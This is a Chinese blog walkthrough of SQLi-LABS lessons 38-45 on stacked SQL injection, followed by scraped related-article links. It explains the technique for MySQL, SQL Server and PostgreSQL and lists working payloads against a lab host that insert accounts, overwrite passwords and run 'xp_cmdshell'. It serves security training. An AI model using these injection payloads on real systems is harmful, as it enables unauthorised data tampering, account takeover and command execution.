Less-38

堆叠注入
原理简介
堆叠注入简介

Stacked injections: 堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stackedinjection。

原理

在SQL 中, 分号(;)是用来表示一条sql 语句的结束。试想一下我们在; 结束一个 sql语句后继续构造下一条语句, 会不会一起执行?因此这个想法也就造就了堆叠注入。而 unionin jection(联合注入)也是将两条语句合并在一起, 两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的, 可以用来执行查询语句, 而堆叠注入可以执行的是任意的语句。

局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

虽然我们前面提到了堆叠查询可以执行任意的sql 语句, 但是这种注入方式并不是十分的完美的。在我们的web 系统中, 因为代码通常只返回一个查询结果, 因此, 堆叠注入第二个语句产生错误或者结果只能被忽略, 我们在前端界面是无法看到返回结果的。
因此, 在读取数据时, 我们建议使用union(联合)注入。同时在使用堆叠注入之前, 我们也是需要知道一些数据库相关信息的, 例如表名, 列名等信息。

各个数据库实例介绍

本节我们从常用数据库角度出发, 介绍几个类型的数据库的相关用法。数据库的基本操作, 增删查改。以下列出数据库相关堆叠注入的基本操作。

Mysql 数据库

新建一个表

select * from users where id=1;create table test like users;
show tables;

删除上面新建的 test 表

select * from users where id=1;drop table test;
show tables;

查询数据

select * from users where id=1;select 1,2,3;

加载文件

select * from users where id=1;select load_file(‘c:/tmpupbbn.php’);

修改数

select * from users where id=1;insert into users(id,username,password) values(‘100’,’new’,’new’);

select * from users;

sql server

增加数据表

select * from test;create table sc3(ss CHAR(8));

删除数据表

select * from test;drop table sc3;

查询数据

select 1,2,3;select * from test;

修改数据

select * from test;update test set name=’test’ where id=3;

sqlserver 中最为重要的存储过程的执行

select * from test where id=1;exec master..xp_cmdshell ‘ipconfig’

Oracle 数据库

上面的介绍中我们已经提及, oracle 不能使用堆叠注入, 可以从图中看到, 当有两条语句在同一行时, 直接报错。无效字符。后面的就不往下继续尝试了。

Postgresql 数据库

新建一个表

select * from user_test;create table user_data(id DATE);
select * from user_data;

删除上面新建的user_data 表

select * from user_test;delete from user_data;

查询数据

select * from user_test;select 1,2,3;

修改数据

select * from user_test;update user_test set name=’modify’ where name=’张三’;
select * from user_data;

这里可以使用报错注入,和堆叠注入

http://10.10.202.112/sqli/Less-38?id=-1' union select 1,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),3--+

堆叠注入

http://10.10.202.112/sqli/Less-38?id=1' #报错

http://10.10.202.112/sqli/Less-38?id=1';insert into users(id,username,password) values (100,'hack404','hack404')--+

Less-39

堆叠注入 - 整型 - GET

SELECT * FROM users WHERE id=$id LIMIT 0,1

http://10.10.202.112/sqli/Less-39?id=100;insert into users(id,username,password) values(101,'hack405','hack405')--+

Less-40

盲注 - 堆叠注入 - 字符型 - GET

可以使用报错型注入:

http://10.10.202.112/sqli/Less-40?id=-1' ) union select 1,2,3--+

http://10.10.202.112/sqli/Less-40?id=1' ); insert into users(id,username,password) values(106,'hack406','hack406')--+

Less-41 盲注 - 堆叠注入 - 整型 - GET

整形注入:

http://10.10.202.112/sqli/Less-41?id=11 and 1=2--+ #false

http://10.10.202.112/sqli/Less-41?id=11 and 1=1--+ #true

http://10.10.202.112/sqli/Less-41?id=11; insert into users(id,username,password) values(107,'hack407','hack407')--+

Less-42 报错型堆叠注入 - 字符型 - POST

Password 变量在post 过程中,没有通过 mysql_real_escape_string() 函数的处理。因此在登录的时候密码选项我们可以进行利用

这里我们通过password字段通过堆叠注入更改id=107的用户密码

payload:

login_user=admin&login_password=1’;update users set password='123456' where id=107-- -&mysubmit=Login

Less-43 报错型 - 堆叠注入 - 字符型 - POST

payload:

login_user=admin&login_password=123');update users set password='123456' where id=106-- -&mysubmit=Login

Less-44 盲注 - 堆叠注入 - 字符型 - POST

payload:

login_user=admin&login_password=123';insert into users(id,username,password) values(108,'hack408','hack408')-- -&mysubmit=Login

Less-45 报错型堆叠注入 - 字符型 - POST

payload:

login_user=admin&login_password=123');insert into users(id,username,password) values(109,'hack409','hack409')-- -&mysubmit=Login

待续!!!

SQLi-LABS Page-3 (Stacked injections) Less-38-Less-45的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  6. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  7. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  8. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. 签名时出错: 未能对** SignTool Error:

    项目在vs2010创建,在2017上运行时报签名时出错.......... 解决方法: 右键项目 - 属性-签名 -  创建测试证书 - 密码可以为空-确定

  2. Add an Action with Option Selection 添加具有选项选择的按钮

    In this lesson, you will learn how to create an Action with support for option selection. A new View ...

  3. 工作总结汇报公司介绍产品宣传品牌展示企业文化PPT模

    清晰明了:在工作总结会议上都是要严肃为主,搞的花里胡哨既不好看也让领导有不好的影响:微粒体:模板样式立体效果非常好,能够一把将观众眼球给吸引住:样式齐全:各种PPT样式都有,能够承载工作汇报各种内容: ...

  4. iOS 为何使用runtime方法交换多次后却能按照交换顺序依次执行代码逻辑?

    题目: 假设我们有一个ViewController, Category A(ViewController), Category B(ViewController), Category C(ViewCo ...

  5. 一文解读MVC/MVP/MVVM (转)

    这篇文章对目前 GUI 应用中的 MVC.MVP 和 MVVM 架构模式进行详细地介绍. MVC 在整个 GUI 编程领域,MVC 已经拥有将近 50 年的历史了.早在几十年前,Smalltalk-7 ...

  6. QT--HTTP文件下载器

    QT--HTTP文件下载器 1.pro文件添加 QT       += core gui network 2.头文件 #include <QNetworkAccessManager> #i ...

  7. form-data、x-www-form-urlencoded、raw、binary的区别(非原创)

    文章大纲 一.form-data介绍二.x-www-form-urlencoded介绍三.raw介绍四.binary介绍五.参考文章 一.form-data介绍 http请求中的multipart/f ...

  8. 安装 openmpi 4.0 用于 horovod 编译

    最近编译 horovod框架过程中,需要使用openmpi 4.0但是环境中的openmpi版本比较低,所以在手动安装openmpi4.0 用于编译,下面对过程进行简要记录,进行备忘: curl -O ...

  9. Python 3 线程模型,进程模型记录

    最近需要使用 python3 多线程处理大型数据,顺道探究了一下,python3 的线程模型的情况,下面进行简要记录: 多线程运行的优点: 使用线程可以把程序中占用时间较长的任务放到后台去处理: 用户 ...

  10. ACWING 844. 走迷宫

    地址 https://www.acwing.com/problem/content/description/846/ 给定一个n*m的二维整数数组,用来表示一个迷宫,数组中只包含0或1,其中0表示可以 ...